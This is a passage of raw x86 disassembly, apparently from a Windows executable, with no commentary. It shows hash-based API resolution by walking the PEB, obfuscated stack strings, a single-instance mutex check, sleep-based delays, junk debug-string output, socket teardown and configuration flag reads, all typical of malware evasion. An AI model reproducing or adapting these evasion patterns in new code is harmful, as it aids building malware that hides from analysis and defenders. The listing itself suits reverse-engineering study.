mov dword [ebp - 0x348], eax
call fcn.004132d0
push eax
lea ecx, [ebp - 0xab0]
call fcn.00402cf0
mov byte [ebp - 4], 0xe
lea edx, [ebp - 0xd50]
push eax
lea ecx, [ebp - 0xae0]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x85c]
mov edx, eax
push ecx
lea ecx, [ebp - 0x26c]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0xae0]
call fcn.00402c90
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xab0]
call fcn.00402c90
mov ecx, 0x583d74
call fcn.00416090
mov ecx, eax
call fcn.004e4050
test al, al
je 0x45a46a
push 0
mov dl, 1
mov ecx, 0x583d74
call fcn.004e3b20
add esp, 4
lea ecx, [ebp - 0x26c]
call fcn.00416090
mov ecx, eax
call fcn.004e4050
test al, al
je 0x45a492
push 0
mov dl, 1
lea ecx, [ebp - 0x26c]
call fcn.004e3b20
add esp, 4
push 0
mov ecx, 0x583d74
call fcn.00416090
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call esi
test eax, eax
jne 0x45a4bd
mov ecx, 0x583d74
call fcn.00408860
test al, al
je 0x45d74a
push 0
lea ecx, [ebp - 0x26c]
call fcn.00416090
push eax
call esi
test eax, eax
jne 0x45a54c
mov esi, dword [0x582b2c]
mov edi, dword [0x582b28]
push eax
push 3
push esi
push edi
call fcn.00458650
add eax, dword [0x582b30]
mov ecx, eax
mov dword [ebp - 0x24], eax
adc edx, dword [0x582b34]
xor ecx, edi
mov dword [0x582b30], eax
mov eax, esi
xor eax, edx
mov dword [0x582b34], edx
or ecx, eax
je 0x45a51e
sub edi, dword [ebp - 0x24]
mov dword [0x582b28], edi
sbb esi, edx
mov dword [0x582b2c], esi
test esi, esi
jg 0x45a536
jl 0x45a536
cmp edi, 0x1b3
ja 0x45a536
test esi, esi
jg 0x45a541
jl 0x45a536
test edi, edi
jae 0x45a541
xorps xmm0, xmm0
movlpd qword [0x582b28], xmm0
lea ecx, [ebp - 0x26c]
call fcn.00408860
lea ecx, [ebp - 0x26c]
call fcn.00416090
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x50], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov edi, dword [ecx + 0x18]
mov dword [ebp - 0x34], edi
mov edx, dword [edi + 0x3c]
mov esi, dword [edx + edi + 0x78]
mov eax, dword [edx + edi + 0x7c]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], esi
lea eax, [edi + esi]
mov dword [ebp - 0x28], eax
cmp eax, edi
je 0x45a5df
mov edi, dword [eax + 0x18]
test edi, edi
je 0x45a5df
mov eax, dword [eax + 0x20]
mov esi, dword [ecx + 0x18]
lea eax, [eax + edi*4]
add eax, esi
nop word [eax + eax]
mov edx, dword [eax - 4]
sub eax, 4
add edx, esi
mov dword [ebp - 0x24], eax
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x45a5d5
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x45a5b8
cmp esi, 0x7a5b9fa2
je 0x45a5e3
mov eax, dword [ebp - 0x24]
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x45a5a0
mov ecx, dword [ecx]
jmp 0x45a567
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x34]
push dword [ebp - 0x50]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea eax, [ebp - 0x26c]
mov ecx, 0x583dd4
push eax
call fcn.00416290
call fcn.004d0170
test al, al
je 0x45a832
cmp dword [ebp - 0x44], 0
jne 0x45a832
mov dword [ebp - 0x18], 0xcae9b8de
mov dword [ebp - 0x14], 0x9aac4dba
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x35c], ecx
mov dword [ebp - 0x360], eax
mov dword [ebp - 0x18], 0xf045912
mov dword [ebp - 0x14], 0xa0df899c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
push 0x583da4
mov dword [ebp - 0x354], ecx
push ecx
lea ecx, [ebp - 0x360]
mov dword [ebp - 0x358], eax
call fcn.004132d0
add esp, 4
lea ecx, [ebp - 0xac8]
mov edx, eax
call fcn.0041ac50
add esp, 4
mov byte [ebp - 4], 0x13
mov ecx, eax
call fcn.00416090
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xac8]
call fcn.00402c90
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x45d99a
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0x32
nop
push 0x529
call edi
sub esi, 1
jne 0x45a6d0
mov dword [ebp - 0x18], 0xeace82e5
sub esp, 0x18
mov dword [ebp - 0x14], 0x9fac7aff
mov esi, esp
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x22c], ecx
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x224], ecx
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x2c], esp
call fcn.004132d0
push eax
mov ecx, esi
call fcn.00402cf0
mov byte [ebp - 4], 0x14
mov byte [ebp - 4], 0x12
call fcn.004c4ce0
mov eax, dword [0x5863f8]
add esp, 0x18
sub eax, dword [0x5863f4]
je 0x45a765
push 0x2f
call edi
mov eax, dword [0x5863f8]
sub eax, dword [0x5863f4]
jne 0x45a754
push 2
push dword [0x582b24]
mov byte [0x586081], 1
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x582b24]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
nop dword [eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x28], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x24], ecx
cmp ecx, edx
je 0x45a807
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45a807
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, edx
sub ecx, 4
dec edi
mov dword [ebp - 0x70], ecx
mov esi, 0x811c9dc5
mov ecx, dword [ecx]
add ecx, edx
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x45a7fd
nop dword [eax]
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x45a7e0
cmp esi, 0x2fa62ca8
je 0x45a80b
mov ecx, dword [ebp - 0x70]
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x45a7c5
mov eax, dword [eax]
jmp 0x45a7a0
mov esi, dword [ebp - 0x24]
mov edx, dword [ebp - 0x28]
push 0x162
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x45a790
mov esi, dword [0x582b2c]
mov edi, dword [0x582b28]
push 0
push 3
push esi
push edi
call fcn.00458650
add eax, dword [0x582b30]
mov ecx, eax
mov dword [ebp - 0x24], eax
adc edx, dword [0x582b34]
xor ecx, edi
mov dword [0x582b30], eax
mov eax, edx
xor eax, esi
mov dword [0x582b34], edx
or ecx, eax
je 0x45a880
sub edi, dword [ebp - 0x24]
mov dword [0x582b28], edi
sbb esi, edx
mov dword [0x582b2c], esi
test esi, esi
jg 0x45a898
jl 0x45a898
cmp edi, 0x1b3
ja 0x45a898
test esi, esi
jg 0x45a8a3
jl 0x45a898
test edi, edi
jae 0x45a8a3
xorps xmm0, xmm0
movlpd qword [0x582b28], xmm0
mov byte [0x5860b1], 0
mov dword [ebp - 0x18], 0xa980d4d1
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x36c], ecx
mov dword [ebp - 0x370], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x364], ecx
lea ecx, [ebp - 0x370]
mov dword [ebp - 0x368], eax
call fcn.004132d0
lea ecx, [ebp - 0xb10]
mov edi, eax
call fcn.004e1f80
mov esi, eax
mov byte [ebp - 4], 0x15
push 0
push 0x34fa
call fcn.004e77d0
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0xaf8]
mov eax, dword [0x582b24]
mov edx, esi
push edi
mov dword [ebp - 0x28], eax
call fcn.0041abb0
mov byte [ebp - 4], 0x16
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 0x2c], esp
mov edx, eax
push 0x583da4
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0x17
mov byte [ebp - 4], 0x16
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
call fcn.00409280
add esp, 0x18
mov byte [ebp - 0x39], al
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0xaf8]
call fcn.00402c90
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xb10]
call fcn.00402c90
cmp byte [ebp - 0x39], 0
je 0x45aa4d
cmp byte [0x5860b1], 0
jne 0x45aa4d
nop word [eax + eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x34], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x28], ecx
cmp ecx, esi
je 0x45aa1f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45aa1f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x24], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45aa15
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45a9f8
cmp esi, 0x2fa62ca8
je 0x45aa23
mov ecx, dword [ebp - 0x24]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45a9e0
mov eax, dword [eax]
jmp 0x45a9b0
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x34]
push 0x65
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp byte [0x5860b1], 0
je 0x45a9a0
mov edx, 0x583d5c
lea ecx, [ebp - 0x8e0]
call fcn.004c5a70
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x8e0]
push eax
lea ecx, [ebp - 0x1f0]
call fcn.00416290
cmp dword [0x583d6c], 0
jne 0x45aafc
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x1e0], 0
jne 0x45aafc
mov edx, 0x583d5c
lea ecx, [ebp - 0xc48]
call fcn.004c5a70
mov esi, eax
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x8e0]
push esi
call fcn.004162c0
lea eax, [esi + 0x18]
push eax
lea ecx, [ebp - 0x8c8]
call fcn.004162c0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0xc48]
call fcn.00408b00
lea eax, [ebp - 0x8e0]
push eax
lea ecx, [ebp - 0x1f0]
call fcn.00416290
push 0
push 0x197d
call fcn.004e77d0
add esp, 8
push eax
call edi
cmp dword [0x583d6c], 0
je 0x45aa86
push 0x562de0
mov ecx, 0x583d5c
call fcn.00416090
push eax
call fcn.00434e50
add esp, 8
test eax, eax
je 0x45ac06
lea eax, [ebp - 0x814]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x660]
mov dword [ebp - 0x30], eax
nop
lea ecx, [ebp - 0x814]
call fcn.00403110
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x814]
push 1
push 0x562af8
call fcn.00403040
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x660]
call fcn.00403110
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x660]
push 1
push 0x562de0
call fcn.00403040
mov byte [ebp - 4], 0x1f
lea eax, [ebp - 0x660]
push 0
push eax
mov ecx, 0x583d5c
call fcn.00416030
cmp eax, 0xffffffff
je 0x45abaa
lea ecx, [ebp - 0x814]
push ecx
push dword [ebp - 0x650]
mov ecx, 0x583d5c
push eax
call fcn.00416100
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x660]
call fcn.00402df0
mov byte [ebp - 4], 0x1c
lea eax, [ebp - 0x660]
mov dword [ebp - 0x38], eax
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x814]
call fcn.00402df0
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x814]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x18
mov ecx, 0x583d5c
push 0x562de0
call fcn.00416090
push eax
call fcn.00434e50
add esp, 8
test eax, eax
jne 0x45ab30
mov dword [ebp - 0x18], 0xa98081ff
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x37c], ecx
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x374], ecx
lea ecx, [ebp - 0x380]
mov dword [ebp - 0x378], eax
call fcn.004132d0
push eax
lea ecx, [ebp - 0xc18]
call fcn.00402cf0
mov byte [ebp - 4], 0x26
mov dword [ebp - 0x18], 0xa9808ee6
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x38c], ecx
mov dword [ebp - 0x390], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x384], ecx
lea ecx, [ebp - 0x390]
mov dword [ebp - 0x388], eax
call fcn.004132d0
push eax
lea ecx, [ebp - 0xc00]
call fcn.00402cf0
mov byte [ebp - 4], 0x27
mov dword [ebp - 0x18], 0xa9808def
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x39c], ecx
mov dword [ebp - 0x3a0], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x394], ecx
lea ecx, [ebp - 0x3a0]
mov dword [ebp - 0x398], eax
call fcn.004132d0
push eax
lea ecx, [ebp - 0xbe8]
call fcn.00402cf0
mov byte [ebp - 4], 0x28
mov dword [ebp - 0x18], 0xa98099ec
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3ac], ecx
mov dword [ebp - 0x3b0], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3a4], ecx
lea ecx, [ebp - 0x3b0]
mov dword [ebp - 0x3a8], eax
call fcn.004132d0
push eax
lea ecx, [ebp - 0xbd0]
call fcn.00402cf0
mov byte [ebp - 4], 0x29
mov dword [ebp - 0x18], 0xa9808ef8
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3c0], eax
mov dword [ebp - 0x3bc], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3b4], ecx
lea ecx, [ebp - 0x3c0]
mov dword [ebp - 0x3b8], eax
call fcn.004132d0
push eax
lea ecx, [ebp - 0xbb8]
call fcn.00402cf0
mov byte [ebp - 4], 0x2a
mov dword [ebp - 0x18], 0xa98090e0
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3cc], ecx
mov dword [ebp - 0x3d0], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3c4], ecx
lea ecx, [ebp - 0x3d0]
mov dword [ebp - 0x3c8], eax
call fcn.004132d0
push eax
lea ecx, [ebp - 0xba0]
call fcn.00402cf0
mov byte [ebp - 4], 0x2b
mov dword [ebp - 0x18], 0xa98093e6
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3dc], ecx
mov dword [ebp - 0x3e0], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3d4], ecx
lea ecx, [ebp - 0x3e0]
mov dword [ebp - 0x3d8], eax
call fcn.004132d0
push eax
lea ecx, [ebp - 0xb88]
call fcn.00402cf0
mov byte [ebp - 4], 0x2c
mov dword [ebp - 0x18], 0xa9809ef9
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3ec], ecx
mov dword [ebp - 0x3f0], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3e4], ecx
lea ecx, [ebp - 0x3f0]
mov dword [ebp - 0x3e8], eax
call fcn.004132d0
push eax
lea ecx, [ebp - 0xb70]
call fcn.00402cf0
mov byte [ebp - 4], 0x2d
mov dword [ebp - 0x18], 0xa98095f8
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x400], eax
mov dword [ebp - 0x3fc], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3f4], ecx
lea ecx, [ebp - 0x400]
mov dword [ebp - 0x3f8], eax
call fcn.004132d0
push eax
lea ecx, [ebp - 0xb58]
call fcn.00402cf0
mov byte [ebp - 4], 0x2e
mov dword [ebp - 0x18], 0xa9808eec
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40c], ecx
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x404], ecx
lea ecx, [ebp - 0x410]
mov dword [ebp - 0x408], eax
call fcn.004132d0
push eax
lea ecx, [ebp - 0xb40]
call fcn.00402cf0
mov byte [ebp - 4], 0x2f
lea eax, [ebp - 0xb28]
push eax
lea eax, [ebp - 0xc18]
push eax
lea ecx, [ebp - 0x948]
call fcn.00413090
lea ecx, [ebp - 0x930]
push dword [eax + 4]
push dword [eax]
call fcn.004123f0
mov byte [ebp - 4], 0x31
lea eax, [ebp - 0xc18]
push fcn.00402c90
push 0xa
push 0x18
push eax
call fcn.00433a07
lea eax, [ebp - 0x1f0]
push eax
lea ecx, [ebp - 0x930]
call fcn.0041bc40
test eax, eax
je 0x45b0a1
mov dword [ebp - 0x18], 0xccd4a0e3
mov dword [ebp - 0x14], 0x9da973a3
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x6cc], ecx
mov dword [ebp - 0x6d0], eax
mov dword [ebp - 0x18], 0x31204817
mov dword [ebp - 0x14], 0xc5bce68a
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x6c4], ecx
mov dword [ebp - 0x6c8], eax
mov dword [ebp - 0x18], 0x99c74b94
mov dword [ebp - 0x14], 0x1b8ae46f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x6bc], ecx
mov dword [ebp - 0x6c0], eax
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x6b4], ecx
lea ecx, [ebp - 0x6d0]
mov dword [ebp - 0x6b8], eax
call fcn.00412fe0
push 0x562d80
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x45b0a1
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.Dk43l_dwmk438
call esi
call fcn.004c4ba0
mov ecx, 0x586318
call fcn.00413950
test al, al
je 0x45b66d
mov ecx, 0x586318
call fcn.00413970
test al, al
jne 0x45b66d
mov dword [ebp - 0x18], 0xcbe1a6ca
mov dword [ebp - 0x14], 0x81a36d8e
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x41c], ecx
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x18], 0x612b5913
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x414], ecx
lea ecx, [ebp - 0x420]
mov dword [ebp - 0x418], eax
call fcn.004132d0
push eax
mov ecx, 0x586318
call fcn.0041af80
mov ecx, eax
call fcn.00413960
test al, al
je 0x45b66d
mov dword [ebp - 0x18], 0xcbe1a6ca
mov dword [ebp - 0x14], 0x81a36d8e
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x430], eax
mov dword [ebp - 0x18], 0x612b5913
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x424], ecx
lea ecx, [ebp - 0x430]
mov dword [ebp - 0x428], eax
call fcn.004132d0
push eax
mov ecx, 0x586318
call fcn.0041af80
mov ecx, eax
call fcn.0041b1e0
push str.ewetwertyer_eytdryrtdy
mov byte [0x582b23], al
call esi
mov dword [ebp - 0x18], 0xcbe1a6ca
mov dword [ebp - 0x14], 0xf3a76a8e
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x43c], ecx
mov dword [ebp - 0x440], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x434], ecx
lea ecx, [ebp - 0x440]
mov dword [ebp - 0x438], eax
call fcn.004132d0
push eax
mov ecx, 0x586318
call fcn.0041af80
mov ecx, eax
call fcn.0041b1e0
mov byte [0x582b3d], al
mov dword [ebp - 0x18], 0xcbe1a6ca
mov dword [ebp - 0x14], 0xf3b37a8e
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x44c], ecx
mov dword [ebp - 0x450], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x444], ecx
lea ecx, [ebp - 0x450]
mov dword [ebp - 0x448], eax
call fcn.004132d0
push eax
mov ecx, 0x586318
call fcn.0041af80
mov ecx, eax
call fcn.0041b1e0
mov byte [0x582b22], al
mov dword [ebp - 0x18], 0xcbe1a6ca
mov dword [ebp - 0x14], 0x9fa1698e
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x45c], ecx
mov dword [ebp - 0x460], eax
mov dword [ebp - 0x18], 0x1231591a
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x454], ecx
lea ecx, [ebp - 0x460]
mov dword [ebp - 0x458], eax
call fcn.004132d0
push eax
mov ecx, 0x586318
call fcn.0041af80
mov ecx, eax
call fcn.0041b1e0
mov byte [0x582b21], al
mov dword [ebp - 0x18], 0xcbe1a6ca
mov dword [ebp - 0x14], 0x9aa8778e
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x46c], ecx
mov dword [ebp - 0x470], eax
mov dword [ebp - 0x18], 0x132a4805
mov dword [ebp - 0x14], 0xa0df8981
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x464], ecx
lea ecx, [ebp - 0x470]
mov dword [ebp - 0x468], eax
call fcn.004132d0
push eax
mov ecx, 0x586318
call fcn.0041af80
mov ecx, eax
call fcn.0041b1e0
mov byte [0x582b3c], al
mov dword [ebp - 0x18], 0xcbe1a6ca
mov dword [ebp - 0x14], 0x83b4788e
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x47c], ecx
mov dword [ebp - 0x480], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x474], ecx
lea ecx, [ebp - 0x480]
mov dword [ebp - 0x478], eax
call fcn.004132d0
push eax
mov ecx, 0x586318
call fcn.0041af80
mov ecx, eax
call fcn.0041b1e0
mov byte [0x582b3e], al
test al, al
je 0x45b39a
mov byte [0x582b20], 0
mov dword [ebp - 0x18], 0xcbe1a6ca
mov dword [ebp - 0x14], 0x9ea1798e
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x48c], ecx
mov dword [ebp - 0x490], eax
mov dword [ebp - 0x18], 0x61454f13
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x484], ecx
lea ecx, [ebp - 0x490]
mov dword [ebp - 0x488], eax
call fcn.004132d0
push eax
mov ecx, 0x586318
call fcn.0041af80
mov ecx, eax
call fcn.0041b1e0
mov byte [0x582b20], al
mov dword [ebp - 0x18], 0xcbe1a6ca
mov dword [ebp - 0x14], 0x80a5738e
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x49c], ecx
mov dword [ebp - 0x4a0], eax
mov dword [ebp - 0x18], 0x62b5905
mov dword [ebp - 0x14], 0xa0acfb9d
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x494], ecx
lea ecx, [ebp - 0x4a0]
mov dword [ebp - 0x498], eax
call fcn.004132d0
push eax
mov ecx, 0x586318
call fcn.0041af80
mov ecx, eax
call fcn.0041b1e0
push str.td_ydrthrhfty
mov byte [0x583c0e], al
call esi
mov dword [ebp - 0x18], 0xcbe1a6ca
mov dword [ebp - 0x14], 0x9db0688e
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x4ac], ecx
mov dword [ebp - 0x4b0], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x4a4], ecx
lea ecx, [ebp - 0x4b0]
mov dword [ebp - 0x4a8], eax
call fcn.004132d0
push eax
mov ecx, 0x586318
call fcn.0041af80
mov ecx, eax
call fcn.0041b1e0
mov byte [0x582b3f], al
mov dword [ebp - 0x18], 0xf6e5a7d8
mov dword [ebp - 0x14], 0x90ae68b9
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x4bc], ecx
mov dword [ebp - 0x4c0], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x4b4], ecx
lea ecx, [ebp - 0x4c0]
mov dword [ebp - 0x4b8], eax
call fcn.004132d0
push eax
mov ecx, 0x586318
call fcn.0041af80
